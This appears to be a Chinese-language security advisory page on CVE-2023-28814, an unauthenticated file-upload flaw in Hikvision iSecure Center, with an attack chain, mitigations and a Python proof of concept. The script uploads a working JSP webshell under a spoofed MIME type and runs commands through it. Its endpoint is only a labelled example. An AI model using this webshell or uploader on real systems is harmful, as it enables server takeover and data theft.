IPBUF安全漏洞报告
English
CVE-2023-28814 CVSS 9.8 严重

CVE-2023-28814:海康威视iSecure Center文件上传控制不当漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2023-28814
漏洞类型
文件上传控制不当(远程代码执行)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hikvision iSecure Center(海康威视综合安防管理平台)

相关标签

文件上传漏洞远程代码执行海康威视HikvisioniSecure Center综合安防管理平台CVSS 9.8严重漏洞无需认证网络攻击

漏洞概述

CVE-2023-28814是海康威视(Hikvision)iSecure Center综合安防管理平台中存在的一个高危文件上传控制不当漏洞。该漏洞的CVSS 3.1评分为9.8分,属于严重级别,攻击者可以通过网络远程利用该漏洞,无需任何认证和用户交互即可实施攻击。

iSecure Center是海康威视面向中国国内市场发布的综合安防管理平台软件,主要用于视频监控、门禁管理、报警联动等安防场景的统一管理。该软件集成了多种安防子系统,提供了集中管理、设备配置、事件处理等功能。

该漏洞的根本原因在于iSecure Center对用户上传文件的验证机制存在缺陷,未能对上传文件的类型、内容、扩展名等进行充分的安全检查。攻击者可以利用这一缺陷,将恶意文件(如WebShell、恶意脚本等)上传至服务器,从而获取服务器控制权限。由于该漏洞的利用条件极为宽松(无需认证、无需交互),且攻击效果严重(完全控制服务器),因此对使用该产品的用户构成了极大的安全威胁。

需要注意的是,iSecure Center仅在中国国内市场发布,未在国际市场发布,因此该漏洞主要影响中国境内的用户。该漏洞由[email protected](海康威视安全响应中心)发现并报告,海康威视已发布安全公告和修复方案。

技术细节

该漏洞属于典型的文件上传控制不当(Improper File Upload Control)漏洞,主要技术原理如下:

1. **文件验证缺陷**:iSecure Center在处理用户文件上传请求时,未对上传文件的MIME类型、文件扩展名、文件内容(魔术字节/Magic Bytes)以及文件大小等进行充分的验证和过滤。攻击者可以通过修改HTTP请求中的Content-Type字段或文件扩展名来绕过简单的文件类型检查。

2. **上传路径可控**:攻击者可能能够控制文件上传到服务器的具体路径,包括上传到Web可访问目录中,使得上传的恶意文件可以通过Web直接访问和执行。

3. **恶意文件执行**:攻击者可以上传包含恶意代码的文件,如:
- JSP/WebShell文件:通过上传JSP WebShell获取服务器命令执行权限
- PHP脚本文件:在支持PHP的环境中执行任意代码
- HTML/JS文件:进行钓鱼攻击或存储型XSS攻击

4. **攻击利用方式**:
- 攻击者首先访问iSecure Center的文件上传功能接口
- 构造包含恶意文件的HTTP POST请求,设置合适的Content-Disposition和文件名
- 通过绕过文件类型检查,将恶意文件上传至服务器
- 访问上传后的恶意文件URL,执行其中的恶意代码
- 获取服务器权限后,可进一步进行内网渗透、数据窃取等攻击

5. **权限提升**:由于iSecure Center通常以较高权限运行(如SYSTEM或管理员权限),上传并执行恶意代码后,攻击者可以获取系统的完全控制权限,进而控制整个安防管理系统。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、FOFA等网络空间搜索引擎,或通过社会工程学手段,识别暴露在公网上的海康威视iSecure Center管理平台,确定目标系统的版本和网络位置。
STEP 2
步骤2:探测上传接口
攻击者访问iSecure Center的文件上传功能接口,分析其文件上传机制,包括允许的文件类型、上传路径、验证方式等。由于该漏洞无需认证即可利用,攻击者无需获取任何凭据。
STEP 3
步骤3:构造恶意文件
攻击者构造包含恶意代码的文件(如JSP WebShell、PHP脚本等),并通过修改HTTP请求头中的Content-Type字段、文件扩展名等方式绕过服务器端的文件类型验证。
STEP 4
步骤4:上传恶意文件
攻击者通过精心构造的HTTP POST请求,将恶意文件上传至iSecure Center服务器。由于文件验证机制存在缺陷,恶意文件被成功上传到Web可访问目录中。
STEP 5
步骤5:执行恶意代码
攻击者通过浏览器或命令行工具访问上传的恶意文件URL,触发恶意代码执行,获取服务器的命令执行权限。
STEP 6
步骤6:权限提升与持久化
攻击者利用获取的服务器权限,进行权限提升、安装后门、窃取敏感数据(监控视频、用户凭据等)等操作,并建立持久化访问通道。
STEP 7
步骤7:内网渗透
攻击者以iSecure Center服务器为跳板,对内部网络进行横向渗透,攻击其他安防设备、业务系统等,扩大攻击范围和影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-28814 - Hikvision iSecure Center File Upload Exploit # WARNING: This PoC is for educational and authorized testing purposes only import requests import sys TARGET_URL = "https://target-host:port" UPLOAD_PATH = "/center/api/files/upload" # Example upload endpoint def exploit(target_url, shell_content): """ Exploit improper file upload vulnerability in Hikvision iSecure Center. The vulnerability allows uploading arbitrary files due to insufficient file type validation. """ session = requests.Session() # Step 1: Attempt to access the upload endpoint without authentication # The vulnerability requires no authentication (PR:N) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*", "Connection": "keep-alive" } # Step 2: Prepare malicious JSP web shell payload # JSP webshell to gain remote code execution on the server jsp_shell = b"""<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" # Step 3: Construct the multipart file upload request # Bypass file type validation by manipulating filename and content-type files = { "file": ( "shell.jsp", # Filename with JSP extension jsp_shell, # Malicious JSP content "image/jpeg", # Spoofed MIME type to bypass validation {"Content-Disposition": "form-data; name=\"file\"; filename=\"shell.jsp\""} ) } data = { "type": "image", "folder": "/upload/" } # Step 4: Send the upload request upload_url = target_url.rstrip("/") + UPLOAD_PATH print(f"[*] Attempting to upload webshell to: {upload_url}") try: response = session.post( upload_url, files=files, data=data, headers=headers, verify=False, timeout=30 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Upload may have succeeded!") # Step 5: Try to access the uploaded webshell shell_url = target_url.rstrip("/") + "/upload/shell.jsp?cmd=id" print(f"[*] Attempting to access webshell at: {shell_url}") shell_response = session.get(shell_url, verify=False, timeout=10) print(f"[*] Shell Response: {shell_response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} https://192.168.1.100:8443") sys.exit(1) target = sys.argv[1] exploit(target, None)

影响范围

Hikvision iSecure Center 部分早期版本(具体受影响版本请参考海康威视官方安全公告)

防御指南

临时缓解措施
在无法立即升级修复版本的情况下,建议采取以下临时缓解措施:1)限制iSecure Center管理平台的网络访问范围,仅允许可信IP地址访问;2)在网络边界部署WAF或IPS设备,对文件上传请求进行检测和阻断;3)关闭不必要的文件上传功能;4)监控服务器上的可疑文件,特别是Web目录中的新文件;5)定期检查服务器日志,识别异常的上传和访问行为;6)将iSecure Center部署在内网环境中,避免直接暴露在公网上。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表